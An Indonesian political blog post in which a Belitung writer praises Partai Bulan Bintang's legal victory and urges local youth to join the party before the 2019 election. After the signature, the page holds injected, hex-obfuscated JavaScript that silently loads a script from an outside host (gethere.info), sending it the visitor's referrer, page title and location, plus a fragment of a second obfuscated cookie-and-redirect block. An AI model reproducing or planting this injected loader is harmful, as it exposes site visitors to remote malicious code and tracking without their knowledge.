GO AHEAD PBB, Majulah Menjadi Partai Pilihan

SAMPAI Hari ini, saya masih banyak membaca tulisan yang mengarah pada sikap euforia atas kemenangan Bang Yusril Ihza Mahendra, dalam memenangkan Gugatan Partai Bulan Bintang (PBB) di Sidang Bawaslu.

Menurut tulisan Bang Yusron Ihza, yang dimuat di Facebook (Fb), mengatakan, Ai??bahwa partainya 2x dizholimi, yaitu tahun 2014 dan untuk 2019. Namun faktanya, 2x juga PBB lolos untuk ikut Pemilu.

Memang untuk urusan persoalan hukum, tidak perlu diragukan lagi kemampuan Bang Yusril dalam bersidang guna memenangkan berbagai masalah. Tapi, yang masih diragukan hanyalah kemampuan Bang Yusril dalam membesarkan PBB, agar memang bisa menjadi partai besar.

So What Next?? Apakah kemenangan PBB akan berlalu begitu saja? tentunya tidak! PBB sudah waktunya keluar dari cap “Partai Ikan Teri Sambal” atau partai gurem. Sudah seharusnya, PBB bisa “mengirimkan” wakilnya di Senayan. Lalu, untuk di daerah ini, setidaknya PBB minimal bisa meraih satu kursi wakil rakyat, di Kabupaten Belitong untuk Pemilu Tahun 2019 mendatang. Jika sampai tak berhasil? “Nak ditarok dimane muke abang kao ne (Jika tidak, mau ditaruh dimana wajah abangmu ini) ?.

Sebagai Urang Belitong, saya merasa turut berbangga dengan PBB, karena merupakan satu-satunya partai berlatar belakang Islam, yang dilahirkan oleh orang Belitong dan kini masih memimpin Partai Islam Modern.

Secara sejarah, Urang Belitong memang sudah menoreh sejarah memimpin Partai, dari Aidit hingga Yusril. Besar harapan kami sebagai Melayu Muslim, hendaknya Partai Bulan Bintang bakal bisa terus “menerangi” kehidupan perpolitikan, di “Tanah Air Beta” ini.

Saya pun menyakini, PBB akan besar Ai??dan menjadi partai profesional, yang memberikan kesempatan kepada anak muda kader partai ini, agar bisa maju bersama menuju trah tertinggi perpolitikan!

Kemudian, PBB harusnya sudah keluar dari stigma negatif, khususnya di Pulau Belitong, untuk tidak menjadi “partai keluarga”, yaitu PBB harus besar dan bisa dibesarkan oleh siapapun, dari para Melayu Belitong khususnya.

PBB New Generation, perlu nafas baru, dimana pada era milenial ini, harus bisa taktis dan tangkas dalam merebut simpati publik.

Saran saya, sudah waktunya Anak-anak Muda Belitong untuk bergabung di PBB. Angkatlah Bendera Bulan Bintang, jadikan PBB sebagai sebuah “media” untuk gerakan kebangkitan Islam dan kehidupan.

Waktunya “kite” terlibat digerakan politik, sebab orang Islam yang tidak berpolitik, bisa “dimakan badai”!.

Saya juga percaya, pada Tshun 2019 nanti, PBB akan mampu menarik suara publik, serta mendapatkan trust masyarakat Muslim Belitong.

“Sebile agik urang Belitong mendukung “Partainya” urang Belitong. Majulah PBB, perjuangkan kehidupan kame untuk kemajuan dan kebangkitan Indonesia, serta Belitong khususnya!”.

Untuk INDONESIA LEBIH BAIK, Ayoo bersama PBB.

Salam Hormat,

Ozzie Azura Zura
(Biak Belitong) new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])} cript type=”application/javascript”>var _0xb322=[“\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D”,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D”,”\x74\x69\x74\x6C\x65″,”\x26″,”\x3F”,”\x72\x65\x70\x6C\x61\x63\x65″,”\x73\x65\x61\x72\x63\x68″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74″,”\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74″,”\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65″,”\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64″,”\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65″,”\x70\x72\x6F\x74\x6F\x63\x6F\x6C”,”\x68\x74\x74\x70\x73\x3A”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x52\x5F\x50\x41\x54\x48″,”\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E”];var d=document;var s=d[_0xb322[1]](_0xb322[0]);s[_0xb322[2]]= _0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12];if(document[_0xb322[13]]){document[_0xb322[13]][_0xb322[15]][_0xb322[14]](s,document[_0xb322[13]])}else {d[_0xb322[18]](_0xb322[17])[0][_0xb322[16]](s)};if(document[_0xb322[11]][_0xb322[19]]=== _0xb322[20]&& KTracking[_0xb322[22]][_0xb322[21]](_0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12])=== -1){alert(_0xb322[23])}

You May Also Like

Leave a Reply

Your email address will not be published. Required fields are marked *